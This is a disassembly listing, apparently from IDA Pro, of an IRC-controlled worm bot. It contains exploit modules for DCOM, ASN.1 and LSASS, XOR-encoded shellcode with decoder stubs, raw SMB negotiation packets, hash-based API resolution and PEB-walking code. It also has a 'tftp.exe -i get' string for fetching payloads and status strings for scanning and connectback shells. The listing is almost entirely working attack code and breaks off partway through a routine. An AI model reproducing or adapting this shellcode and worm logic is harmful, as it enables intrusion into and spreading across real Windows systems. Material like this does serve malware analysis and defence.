aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA6Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA64o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA54o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA50o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA48o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA20o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43162C	dd offset byte_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431660	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431664	dd 34h			; DATA XREF: ___:0040B021o
dword_431668	dd 335053h		; DATA XREF: ___:0040B014o
dword_43166C	dd 33h			; DATA XREF: ___:0040B003o
dword_431670	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431674	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: ___:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: ___:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: ___:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: ___:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: ___:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: ___:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: ___:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: ___:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F7C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
